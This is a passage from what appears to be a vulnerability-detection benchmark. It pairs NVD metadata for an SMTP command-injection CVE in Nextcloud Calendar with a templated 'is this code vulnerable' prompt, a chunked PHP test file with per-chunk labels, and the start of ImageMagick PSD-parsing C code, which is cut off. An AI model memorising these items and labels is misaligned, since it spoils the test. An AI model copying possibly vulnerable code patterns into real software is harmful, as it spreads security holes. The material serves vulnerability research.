false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 1.4, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2022-04-11T21:15:08.760", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/nextcloud/calendar/commit/7b70edfb8a0fcf0926f613ababcbd56c6ecd9f35"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/nextcloud/calendar/pull/4073"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-8xv5-4855-24qf"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-77"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-74"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/nextcloud/calendar/commit/7b70edfb8a0fcf0926f613ababcbd56c6ecd9f35"}, "type": "CWE-77"}
144
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "declare(strict_types=1);\n/**\n * Calendar App\n *\n * @copyright 2021 Anna Larch <anna.larch@gmx.net>\n *\n * @author Anna Larch <anna.larch@gmx.net>\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n *\n * You should have received a copy of the GNU Affero General Public\n * License along with this library. If not, see <http://www.gnu.org/licenses/>.\n *\n */\nnamespace OCA\\Calendar\\Controller;", "use ChristophWurst\\Nextcloud\\Testing\\TestCase;\nuse DateTimeZone;\nuse Exception;", "use InvalidArgumentException;", "use OC\\URLGenerator;\nuse OCA\\Calendar\\Db\\AppointmentConfig;", "use OCA\\Calendar\\Db\\Booking;\nuse OCA\\Calendar\\Exception\\NoSlotFoundException;\nuse OCA\\Calendar\\Exception\\ServiceException;", "use OCA\\Calendar\\Service\\Appointments\\AppointmentConfigService;\nuse OCA\\Calendar\\Service\\Appointments\\BookingService;\nuse OCP\\AppFramework\\Services\\IInitialState;\nuse OCP\\AppFramework\\Utility\\ITimeFactory;\nuse OCP\\Calendar\\ICalendarQuery;\nuse OCP\\Contacts\\IManager;\nuse OCP\\IInitialStateService;\nuse OCP\\IRequest;\nuse OCP\\IUser;", "use OCP\\Mail\\IMailer;", "use PHPUnit\\Framework\\MockObject\\MockObject;\nuse Psr\\Log\\LoggerInterface;\nuse Safe\\DateTimeImmutable;", "class BookingControllerTest extends TestCase {", "\t/** @var string */\n\tprotected $appName;", "\t/** @var IRequest|MockObject */\n\tprotected $request;", "\t/** @var IManager|MockObject */\n\tprotected $manager;", "\t/** @var IInitialStateService|MockObject */\n\tprotected $initialState;", "\t/** @var IUser|MockObject */\n\tprotected $user;", "\t/** @var AppointmentConfigService|MockObject */\n\tprotected $service;", "\t/** @var AppointmentConfigController */\n\tprotected $controller;", "\t/** @var ITimeFactory|MockObject */\n\tprivate $time;", "\t/** @var BookingService|MockObject */\n\tprivate $bookingService;", "\t/** @var AppointmentConfigService|MockObject */\n\tprivate $apptService;", "\t/** @var URLGenerator|MockObject */\n\tprivate $urlGenerator;", "\t/** @var mixed|MockObject|LoggerInterface */\n\tprivate $logger;", "\n\t/** @var IMailer|MockObject */\n\tprivate $mailer;", "\n\tprotected function setUp():void {\n\t\tparent::setUp();", "\t\tif (!interface_exists(ICalendarQuery::class)) {\n\t\t\tself::markTestIncomplete();\n\t\t}", "\t\t$this->appName = 'calendar';\n\t\t$this->request = $this->createMock(IRequest::class);\n\t\t$this->time = $this->createMock(ITimeFactory::class);\n\t\t$this->initialState = $this->createMock(IInitialState::class);\n\t\t$this->bookingService = $this->createMock(BookingService::class);\n\t\t$this->apptService = $this->createMock(AppointmentConfigService::class);\n\t\t$this->urlGenerator = $this->createMock(URLGenerator::class);\n\t\t$this->logger = $this->createMock(LoggerInterface::class);", "\t\t$this->mailer = $this->createMock(IMailer::class);", "\t\t$this->controller = new BookingController(\n\t\t\t$this->appName,\n\t\t\t$this->request,\n\t\t\t$this->time,\n\t\t\t$this->initialState,\n\t\t\t$this->bookingService,\n\t\t\t$this->apptService,\n\t\t\t$this->urlGenerator,", "\t\t\t$this->logger,\n\t\t\t$this->mailer", "\t\t);\n\t}", "\tpublic function testGetBookableSlots(): void {\n\t\t$start = time();\n\t\t$tz = new DateTimeZone('Europe/Berlin');\n\t\t$sDT = (new DateTimeImmutable())\n\t\t\t->setTimestamp($start)\n\t\t\t->setTimezone($tz)\n\t\t\t->setTime(0, 0)\n\t\t\t->getTimestamp();\n\t\t$eDT = (new DateTimeImmutable())\n\t\t\t->setTimestamp($start)\n\t\t\t->setTimezone($tz)\n\t\t\t->setTime(23, 59, 59)\n\t\t\t->getTimestamp();", "\t\t$apptConfg = new AppointmentConfig();\n\t\t$apptConfg->setId(1);\n\t\t$this->time->expects(self::once())\n\t\t\t->method('getTime')\n\t\t\t->willReturn($start);\n\t\t$this->apptService->expects(self::once())\n\t\t\t->method('findById')\n\t\t\t->with(1)\n\t\t\t->willReturn($apptConfg);\n\t\t$this->bookingService->expects(self::once())\n\t\t\t->method('getAvailableSlots')\n\t\t\t->with($apptConfg, $sDT, $eDT);", "\t\t$this->controller->getBookableSlots($apptConfg->getId(), $start,'Europe/Berlin');\n\t}", "\tpublic function testGetBookableSlotsInvalidTimezone(): void {\n\t\t$start = time();\n\t\t$apptConfg = new AppointmentConfig();\n\t\t$apptConfg->setId(1);\n\t\t$this->time->expects(self::never())\n\t\t\t->method('getTime');\n\t\t$this->apptService->expects(self::never())\n\t\t\t->method('findById')\n\t\t\t->with(1);\n\t\t$this->bookingService->expects(self::never())\n\t\t\t->method('getAvailableSlots');\n\t\t$this->expectException(Exception::class);", "\t\t$this->controller->getBookableSlots($apptConfg->getId(), $start, 'Hook/Neverland');\n\t}", "\tpublic function testGetBookableSlotsDatesInPast(): void {\n\t\t$start = time();\n\t\t$fakeFutureTimestamp = time() + (100 * 24 * 60 * 60);\n\t\t$apptConfg = new AppointmentConfig();\n\t\t$apptConfg->setId(1);\n\t\t$this->time->expects(self::once())\n\t\t\t->method('getTime')\n\t\t\t->willReturn($fakeFutureTimestamp);\n\t\t$this->apptService->expects(self::never())\n\t\t\t->method('findById')\n\t\t\t->with(1);\n\t\t$this->bookingService->expects(self::never())\n\t\t\t->method('getAvailableSlots');\n\t\t$this->logger->expects(self::once())\n\t\t\t->method('warning');", "\t\t$this->controller->getBookableSlots($apptConfg->getId(), $start,'Europe/Berlin');\n\t}", "\n\tpublic function testBook(): void {\n\t\t$email = 'penny@stardewvalley.edu';\n\t\t$config = new AppointmentConfig();", "\t\t$this->mailer->expects(self::once())\n\t\t\t->method('validateMailAddress')\n\t\t\t->with($email)\n\t\t\t->willReturn(true);\n\t\t$this->apptService->expects(self::once())\n\t\t\t->method('findById')\n\t\t\t->willReturn($config);\n\t\t$this->bookingService->expects(self::once())\n\t\t\t->method('book')\n\t\t\t->with($config, 1, 1, 'Hook/Neverland', 'Test', $email, 'Test')\n\t\t\t->willReturn(new Booking());", "\t\t$this->controller->bookSlot(1, 1, 1, 'Test', $email, 'Test', 'Hook/Neverland');\n\t}", "\n\tpublic function testBookInvalidTimeZone(): void {\n\t\t$email = 'penny@stardewvalley.edu';\n\t\t$config = new AppointmentConfig();", "\t\t$this->mailer->expects(self::once())\n\t\t\t->method('validateMailAddress')\n\t\t\t->with($email)\n\t\t\t->willReturn(true);\n\t\t$this->apptService->expects(self::once())\n\t\t\t->method('findById')\n\t\t\t->willReturn($config);\n\t\t$this->bookingService->expects(self::once())\n\t\t\t->method('book')\n\t\t\t->with($config, 1, 1, 'Hook/Neverland', 'Test', $email, 'Test')\n\t\t\t->willThrowException(new InvalidArgumentException());", "\t\t$this->controller->bookSlot(1, 1, 1, 'Test', $email, 'Test', 'Hook/Neverland');\n\t}", "\tpublic function testBookInvalidSlot(): void {\n\t\t$email = 'penny@stardewvalley.edu';\n\t\t$config = new AppointmentConfig();", "\t\t$this->mailer->expects(self::once())\n\t\t\t->method('validateMailAddress')\n\t\t\t->with($email)\n\t\t\t->willReturn(true);\n\t\t$this->apptService->expects(self::once())\n\t\t\t->method('findById')\n\t\t\t->willReturn($config);\n\t\t$this->bookingService->expects(self::once())\n\t\t\t->method('book')\n\t\t\t->with($config, 1, 1, 'Europe/Berlin', 'Test', $email, 'Test')\n\t\t\t->willThrowException(new NoSlotFoundException());", "\t\t$this->controller->bookSlot(1, 1, 1, 'Test', $email, 'Test', 'Europe/Berlin');\n\t}", "\tpublic function testBookInvalidBooking(): void {\n\t\t$email = 'penny@stardewvalley.edu';\n\t\t$config = new AppointmentConfig();", "\t\t$this->mailer->expects(self::once())\n\t\t\t->method('validateMailAddress')\n\t\t\t->with($email)\n\t\t\t->willReturn(true);\n\t\t$this->apptService->expects(self::once())\n\t\t\t->method('findById')\n\t\t\t->willReturn($config);\n\t\t$this->bookingService->expects(self::once())\n\t\t\t->method('book')\n\t\t\t->with($config, 1, 1, 'Europe/Berlin', 'Test', $email, 'Test')\n\t\t\t->willThrowException(new ServiceException());", "\t\t$this->controller->bookSlot(1, 1, 1, 'Test', $email, 'Test', 'Europe/Berlin');\n\t}", "\tpublic function testBookInvalidId(): void {\n\t\t$email = 'penny@stardewvalley.edu';\n\t\t$this->mailer->expects(self::once())\n\t\t\t->method('validateMailAddress')\n\t\t\t->with($email)\n\t\t\t->willReturn(true);\n\t\t$this->apptService->expects(self::once())\n\t\t\t->method('findById')\n\t\t\t->willThrowException(new ServiceException());\n\t\t$this->bookingService->expects(self::never())\n\t\t\t->method('book');", "\t\t$this->controller->bookSlot(1, 1, 1, 'Test', $email, 'Test', 'Europe/Berlin');\n\t}", "\n\tpublic function testBookInvalidEmail(): void {\n\t\t$email = 'testing-abcdef';", "\t\t$this->mailer->expects(self::once())\n\t\t\t->method('validateMailAddress')\n\t\t\t->with($email)\n\t\t\t->willReturn(false);\n\t\t$this->apptService->expects(self::never())\n\t\t\t->method('findById');\n\t\t$this->bookingService->expects(self::never())\n\t\t\t->method('book');", "\t\t$this->controller->bookSlot(1, 1, 1, 'Test', $email, 'Test', 'Europe/Berlin');\n\t}", "}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [163, 173], "buggy_code_start_loc": [45, 29], "filenames": ["lib/Controller/BookingController.php", "tests/php/unit/Controller/BookingControllerTest.php"], "fixing_code_end_loc": [174, 292], "fixing_code_start_loc": [46, 30], "message": "Nextcloud Calendar is a calendar application for the nextcloud framework. SMTP Command Injection in Appointment Emails via Newlines: as newlines and special characters are not sanitized in the email value in the JSON request, a malicious attacker can inject newlines to break out of the `RCPT TO:<BOOKING USER'S EMAIL> ` SMTP command and begin injecting arbitrary SMTP commands. It is recommended that Calendar is upgraded to 3.2.2. There are no workaround available.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:nextcloud:calendar:*:*:*:*:*:*:*:*", "matchCriteriaId": "51E49865-DEC4-4532-BDCE-24F92C97C71F", "versionEndExcluding": "3.2.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Nextcloud Calendar is a calendar application for the nextcloud framework. SMTP Command Injection in Appointment Emails via Newlines: as newlines and special characters are not sanitized in the email value in the JSON request, a malicious attacker can inject newlines to break out of the `RCPT TO:<BOOKING USER'S EMAIL> ` SMTP command and begin injecting arbitrary SMTP commands. It is recommended that Calendar is upgraded to 3.2.2. There are no workaround available."}, {"lang": "es", "value": "Nextcloud Calendar es una aplicaci\u00f3n de calendario para el framework nextcloud. Una Inyecci\u00f3n de Comandos SMTP en Correos Electr\u00f3nicos de Citas por medio de Newlines: como las nuevas l\u00edneas y los caracteres especiales no son saneados en el valor del correo electr\u00f3nico en la petici\u00f3n JSON, un atacante malicioso puede inyectar nuevas l\u00edneas para salirse del comando SMTP \"RCPT TO:(BOOKING USER'S EMAIL)\" y comenzar a inyectar comandos SMTP arbitrarios. Es recomendado actualizar Calendar a la versi\u00f3n 3.2.2. No se presenta ninguna medida de mitigaci\u00f3n disponible"}], "evaluatorComment": null, "id": "CVE-2022-24838", "lastModified": "2022-04-19T15:32:08.713", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 1.4, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2022-04-11T21:15:08.760", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/nextcloud/calendar/commit/7b70edfb8a0fcf0926f613ababcbd56c6ecd9f35"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/nextcloud/calendar/pull/4073"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-8xv5-4855-24qf"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-77"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-74"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/nextcloud/calendar/commit/7b70edfb8a0fcf0926f613ababcbd56c6ecd9f35"}, "type": "CWE-77"}
144
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% PPPP SSSSS DDDD %\n% P P SS D D %\n% PPPP SSS D D %\n% P SS D D %\n% P SSSSS DDDD %\n% %\n% %\n% Read/Write Adobe Photoshop Image Format %\n% %\n% Software Design %\n% Cristy %\n% Leonard Rosenthol %\n% July 1992 %\n% Dirk Lemstra %\n% December 2013 %\n% %\n% %\n% Copyright @ 1999 ImageMagick Studio LLC, a non-profit organization %\n% dedicated to making software imaging solutions freely available. %\n% %\n% You may not use this file except in compliance with the License. You may %\n% obtain a copy of the License at %\n% %\n% https://imagemagick.org/script/license.php %\n% %\n% Unless required by applicable law or agreed to in writing, software %\n% distributed under the License is distributed on an \"AS IS\" BASIS, %\n% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. %\n% See the License for the specific language governing permissions and %\n% limitations under the License. %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% Photoshop spec @ https://www.adobe.com/devnet-apps/photoshop/fileformatashtml\n%\n*/\n\f\n/*\n Include declarations.\n*/\n#include \"MagickCore/studio.h\"\n#include \"MagickCore/artifact.h\"\n#include \"MagickCore/attribute.h\"\n#include \"MagickCore/blob.h\"\n#include \"MagickCore/blob-private.h\"\n#include \"MagickCore/cache.h\"\n#include \"MagickCore/channel.h\"\n#include \"MagickCore/colormap.h\"\n#include \"MagickCore/colormap-private.h\"\n#include \"MagickCore/colorspace.h\"\n#include \"MagickCore/colorspace-private.h\"\n#include \"MagickCore/constitute.h\"\n#include \"MagickCore/enhance.h\"\n#include \"MagickCore/exception.h\"\n#include \"MagickCore/exception-private.h\"\n#include \"MagickCore/image.h\"\n#include \"MagickCore/image-private.h\"\n#include \"MagickCore/list.h\"\n#include \"MagickCore/log.h\"\n#include \"MagickCore/magick.h\"\n#include \"MagickCore/memory_.h\"\n#include \"MagickCore/module.h\"\n#include \"MagickCore/monitor-private.h\"\n#include \"MagickCore/option.h\"\n#include \"MagickCore/pixel.h\"\n#include \"MagickCore/pixel-accessor.h\"\n#include \"MagickCore/pixel-private.h\"\n#include \"MagickCore/policy.h\"\n#include \"MagickCore/profile.h\"\n#include \"MagickCore/property.h\"\n#include \"MagickCore/registry.h\"\n#include \"MagickCore/quantum-private.h\"\n#include \"MagickCore/static.h\"\n#include \"MagickCore/string_.h\"\n#include \"MagickCore/string-private.h\"\n#include \"MagickCore/thread-private.h\"\n#include \"coders/coders-private.h\"\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n#include <zlib.h>\n#endif\n#include \"psd-private.h\"", "/*\n Define declaractions.\n*/\n#define MaxPSDChannels 56\n#define PSDQuantum(x) (((ssize_t) (x)+1) & -2)\n\f\n/*\n Enumerated declaractions.\n*/\ntypedef enum\n{\n Raw = 0,\n RLE = 1,\n ZipWithoutPrediction = 2,\n ZipWithPrediction = 3\n} PSDCompressionType;", "typedef enum\n{\n BitmapMode = 0,\n GrayscaleMode = 1,\n IndexedMode = 2,\n RGBMode = 3,\n CMYKMode = 4,\n MultichannelMode = 7,\n DuotoneMode = 8,\n LabMode = 9\n} PSDImageType;\n\f\n/*\n Typedef declaractions.\n*/\ntypedef struct _ChannelInfo\n{\n MagickBooleanType\n supported;", " PixelChannel\n channel;", " size_t\n size;\n} ChannelInfo;", "typedef struct _MaskInfo\n{\n Image\n *image;", " RectangleInfo\n page;", " unsigned char\n background,\n flags;\n} MaskInfo;", "typedef struct _LayerInfo\n{\n ChannelInfo\n channel_info[MaxPSDChannels];", " char\n blendkey[4];", " Image\n *image;", " MaskInfo\n mask;", " Quantum\n opacity;", " RectangleInfo\n page;", " size_t\n offset_x,\n offset_y;", " unsigned char\n clipping,\n flags,\n name[257],\n visible;", " unsigned short\n channels;", " StringInfo\n *info;\n} LayerInfo;", "/*\n Forward declarations.\n*/\nstatic MagickBooleanType\n WritePSDImage(const ImageInfo *,Image *,ExceptionInfo *);\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% I s P S D %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% IsPSD()() returns MagickTrue if the image format type, identified by the\n% magick string, is PSD.\n%\n% The format of the IsPSD method is:\n%\n% MagickBooleanType IsPSD(const unsigned char *magick,const size_t length)\n%\n% A description of each parameter follows:\n%\n% o magick: compare image format pattern against these bytes.\n%\n% o length: Specifies the length of the magick string.\n%\n*/\nstatic MagickBooleanType IsPSD(const unsigned char *magick,const size_t length)\n{\n if (length < 4)\n return(MagickFalse);\n if (LocaleNCompare((const char *) magick,\"8BPS\",4) == 0)\n return(MagickTrue);\n return(MagickFalse);\n}\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% R e a d P S D I m a g e %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% ReadPSDImage() reads an Adobe Photoshop image file and returns it. It\n% allocates the memory necessary for the new Image structure and returns a\n% pointer to the new image.\n%\n% The format of the ReadPSDImage method is:\n%\n% Image *ReadPSDImage(image_info,ExceptionInfo *exception)\n%\n% A description of each parameter follows:\n%\n% o image_info: the image info.\n%\n% o exception: return any errors or warnings in this structure.\n%\n*/", "static const char *CompositeOperatorToPSDBlendMode(Image *image)\n{\n switch (image->compose)\n {\n case ColorBurnCompositeOp:\n return(image->endian == LSBEndian ? \"vidi\" : \"idiv\");\n case ColorDodgeCompositeOp:\n return(image->endian == LSBEndian ? \" vid\" : \"div \");\n case ColorizeCompositeOp:\n return(image->endian == LSBEndian ? \"rloc\" : \"colr\");\n case DarkenCompositeOp:\n return(image->endian == LSBEndian ? \"krad\" : \"dark\");\n case DifferenceCompositeOp:\n return(image->endian == LSBEndian ? \"ffid\" : \"diff\");\n case DissolveCompositeOp:\n return(image->endian == LSBEndian ? \"ssid\" : \"diss\");\n case ExclusionCompositeOp:\n return(image->endian == LSBEndian ? \"dums\" : \"smud\");\n case HardLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLh\" : \"hLit\");\n case HardMixCompositeOp:\n return(image->endian == LSBEndian ? \"xiMh\" : \"hMix\");\n case HueCompositeOp:\n return(image->endian == LSBEndian ? \" euh\" : \"hue \");\n case LightenCompositeOp:\n return(image->endian == LSBEndian ? \"etil\" : \"lite\");\n case LinearBurnCompositeOp:\n return(image->endian == LSBEndian ? \"nrbl\" : \"lbrn\");\n case LinearDodgeCompositeOp:\n return(image->endian == LSBEndian ? \"gddl\" : \"lddg\");\n case LinearLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLl\" : \"lLit\");\n case LuminizeCompositeOp:\n return(image->endian == LSBEndian ? \" mul\" : \"lum \");\n case MultiplyCompositeOp:\n return(image->endian == LSBEndian ? \" lum\" : \"mul \");\n case OverlayCompositeOp:\n return(image->endian == LSBEndian ? \"revo\" : \"over\");\n case PinLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLp\" : \"pLit\");\n case SaturateCompositeOp:\n return(image->endian == LSBEndian ? \" tas\" : \"sat \");\n case ScreenCompositeOp:\n return(image->endian == LSBEndian ? \"nrcs\" : \"scrn\");\n case SoftLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLs\" : \"sLit\");\n case VividLightCompositeOp:\n return(image->endian == LSBEndian ? \"tiLv\" : \"vLit\");\n case OverCompositeOp:\n default:\n return(image->endian == LSBEndian ? \"mron\" : \"norm\");\n }\n}", "/*\n For some reason Photoshop seems to blend semi-transparent pixels with white.\n This method reverts the blending. This can be disabled by setting the\n option 'psd:alpha-unblend' to off.\n*/\nstatic MagickBooleanType CorrectPSDAlphaBlend(const ImageInfo *image_info,\n Image *image,ExceptionInfo* exception)\n{\n const char\n *option;", " MagickBooleanType\n status;", " ssize_t\n y;", " if ((image->alpha_trait != BlendPixelTrait) ||\n (image->colorspace != sRGBColorspace))\n return(MagickTrue);\n option=GetImageOption(image_info,\"psd:alpha-unblend\");\n if (IsStringFalse(option) != MagickFalse)\n return(MagickTrue);\n status=MagickTrue;\n#if defined(MAGICKCORE_OPENMP_SUPPORT)\n#pragma omp parallel for schedule(static) shared(status) \\\n magick_number_threads(image,image,image->rows,1)\n#endif\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n Quantum\n *magick_restrict q;", " ssize_t\n x;", " if (status == MagickFalse)\n continue;\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n {\n status=MagickFalse;\n continue;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n double\n gamma;", " ssize_t\n i;", " gamma=QuantumScale*GetPixelAlpha(image, q);\n if (gamma != 0.0 && gamma != 1.0)\n {\n for (i=0; i < (ssize_t) GetPixelChannels(image); i++)\n {\n PixelChannel channel = GetPixelChannelChannel(image,i);\n if (channel != AlphaPixelChannel)\n q[i]=ClampToQuantum((q[i]-((1.0-gamma)*QuantumRange))/gamma);\n }\n }\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n status=MagickFalse;\n }", " return(status);\n}", "static inline CompressionType ConvertPSDCompression(\n PSDCompressionType compression)\n{\n switch (compression)\n {\n case RLE:\n return RLECompression;\n case ZipWithPrediction:\n case ZipWithoutPrediction:\n return ZipCompression;\n default:\n return NoCompression;\n }\n}", "static MagickBooleanType ApplyPSDLayerOpacity(Image *image,Quantum opacity,\n MagickBooleanType revert,ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " ssize_t\n y;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" applying layer opacity %.20g\", (double) opacity);\n if (opacity == OpaqueAlpha)\n return(MagickTrue);\n if (image->alpha_trait != BlendPixelTrait)\n (void) SetImageAlphaChannel(image,OpaqueAlphaChannel,exception);\n status=MagickTrue;\n#if defined(MAGICKCORE_OPENMP_SUPPORT)\n#pragma omp parallel for schedule(static) shared(status) \\\n magick_number_threads(image,image,image->rows,1)\n#endif\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n Quantum\n *magick_restrict q;", " ssize_t\n x;", " if (status == MagickFalse)\n continue;\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n {\n status=MagickFalse;\n continue;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (revert == MagickFalse)\n SetPixelAlpha(image,ClampToQuantum(QuantumScale*\n GetPixelAlpha(image,q)*opacity),q);\n else if (opacity > 0)\n SetPixelAlpha(image,ClampToQuantum((double) QuantumRange*\n GetPixelAlpha(image,q)/(MagickRealType) opacity),q);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n status=MagickFalse;\n }", " return(status);\n}", "static MagickBooleanType ApplyPSDOpacityMask(Image *image,const Image *mask,\n Quantum background,MagickBooleanType revert,ExceptionInfo *exception)\n{\n Image\n *complete_mask;", " MagickBooleanType\n status;", " PixelInfo\n color;", " ssize_t\n y;", " if (image->alpha_trait == UndefinedPixelTrait)\n return(MagickTrue);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" applying opacity mask\");\n complete_mask=CloneImage(image,0,0,MagickTrue,exception);\n if (complete_mask == (Image *) NULL)\n return(MagickFalse);\n complete_mask->alpha_trait=BlendPixelTrait;\n GetPixelInfo(complete_mask,&color);\n color.red=(MagickRealType) background;\n (void) SetImageColor(complete_mask,&color,exception);\n status=CompositeImage(complete_mask,mask,OverCompositeOp,MagickTrue,\n mask->page.x-image->page.x,mask->page.y-image->page.y,exception);\n if (status == MagickFalse)\n {\n complete_mask=DestroyImage(complete_mask);\n return(status);\n }", "#if defined(MAGICKCORE_OPENMP_SUPPORT)\n#pragma omp parallel for schedule(static) shared(status) \\\n magick_number_threads(image,image,image->rows,1)\n#endif\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n Quantum\n *magick_restrict q;", " Quantum\n *p;", " ssize_t\n x;", " if (status == MagickFalse)\n continue;\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n p=GetAuthenticPixels(complete_mask,0,y,complete_mask->columns,1,exception);\n if ((q == (Quantum *) NULL) || (p == (Quantum *) NULL))\n {\n status=MagickFalse;\n continue;\n }\n for (x=0; x < (ssize_t) 